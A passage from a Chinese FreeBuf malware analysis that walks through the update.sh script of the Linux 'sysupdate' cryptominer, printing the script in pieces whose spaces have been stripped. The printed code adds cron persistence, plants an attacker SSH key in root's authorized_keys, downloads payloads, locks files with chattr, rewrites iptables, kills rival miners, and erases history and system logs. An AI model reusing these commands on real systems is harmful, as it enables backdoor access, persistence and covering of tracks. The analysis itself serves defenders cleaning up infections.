FreeBuf|Linux系统sysupdate挖矿病毒之update.sh脚本分析( 二 )


echo"iamroot"echo"goto1">>/etc/sysupdateschattr-i/etc/sysupdate*chattr-i/etc/config.json*chattr-i/etc/update.sh*chattr-i/root/.ssh/authorized_keys*chattr-i/etc/networkservicethenunlock_cron#调用解锁echo"*/30****sh/etc/update.sh>/dev/null2>&1">>${crondir}lock_cron#加锁elseunlock_cron[[$cont=~"update.sh"]]||(crontab-l;echo"*/30****sh/etc/update.sh>/dev/null2>&1")|crontab-lock_cron配置SSH , 用于登录
chmod700/root/.ssh/echo>>/root/.ssh/authorized_keyschmod600root/.ssh/authorized_keysecho"ssh-rsaxxxroot@u17">>/root/.ssh/authorized_keys#写入公钥文件依次对/etc/config.json|sysupdate|sysguard的文件大小 , 并对对应文件进行下载:
filesize_config=`ls-l/etc/config.json|awk'{print$5}'`if["$filesize_config"-ne"$config_size"]thenpkill-fsysupdaterm/etc/config.jsondownloads$config_url/etc/config.json$config_url_backupelseecho"noneeddownload"下载update.sh
downloads$sh_url/etc/update.sh$sh_url_backup对/etc/networkservice文件大小进行比较 , 并下载对应文件:
if[-f"/etc/networkservice"]#对/etc/networkservice文件大小进行比较thenfilesize2=`ls-l/etc/networkservice|awk'{print$5}'`if["$filesize2"-ne"$scan_size"]thenpkill-fnetworkservicerm/etc/networkservicedownloads$scan_url/etc/networkservice$scan_url_backupelseecho"notneeddownload"fielse对sysupdate|networkservice|sysguard分别进行提权 , 并对执行的程序进行判定 , 是否为root执行 , 并再次执行 , 如下:
提权
if[$?-ne0]thencd/etcecho"notrootruning"sleep5s./sysupdate&elseecho"rootruning....."fi再对/etc/下的病毒文件进行加锁 , 并对/tmp/路径下的病毒文件进行解锁 , 如下:、
chmod777/etc/sysupdatechattr+i/etc/sysupdatechmod777/etc/networkservicechattr+i/etc/networkservicechmod777/etc/config.jsonchattr+i/etc/config.jsonchmod777/etc/update.shchattr+i/etc/update.shchmod777/root/.ssh/authorized_keyschattr+i/root/.ssh/authorized_keyselseecho"goto1">/tmp/sysupdateschattr-i/tmp/sysupdate*chattr-i/tmp/networkservicechattr-i/tmp/config.json*chattr-i/tmp/update.sh*相关解锁动作完成后会在tmp路径再次进行etc路径下的操作 , 操作完成后 , 会在此对tmp路径下的病毒文件进行加锁操作 , 这里不在列举 , 可参照上述信息 。
痕迹擦除
完成上述操作后会删除已有规则 , 并新建相关规则 , 清除历史命令操作和清除相关日志信息 , 如下:
iptables-F#清除预设表filter中的所有规则链的规则iptables-X#清除预设表filter中使用者自定链中的规则iptables-AOUTPUT-ptcp--dport3333-jDROP#-A:添加到规则末尾-p:协议--dport:目标端口-j:匹配规则DROP:丢弃iptables-AOUTPUT-ptcp--dport5555-jDROPiptables-AOUTPUT-ptcp--dport7777-jDROPiptables-AOUTPUT-ptcp--dport9999-jDROPiptables-IINPUT-s43.245.222.57-jDROP#-I:添加到指定位置INPUT:进入-s:源端IP地址serviceiptablesreload#重启iptablespsauxf|grep-vgrep|grep"stratum"|awk'{print$2}'|xargskill-9history-c#清理历史命令echo>/var/spool/mail/rootecho>/var/log/wtmpecho>/var/log/secureecho>/root/.bash_history上述为update.sh脚本的相关操作 , 通过对脚本进行分析 , 可以发现该挖矿病毒主要依赖进程和启动项信息 , 借此可以对该病毒进行清理 。
文件确认/etc目录文件发现sysupdate、sguard等文件
FreeBuf|Linux系统sysupdate挖矿病毒之update.sh脚本分析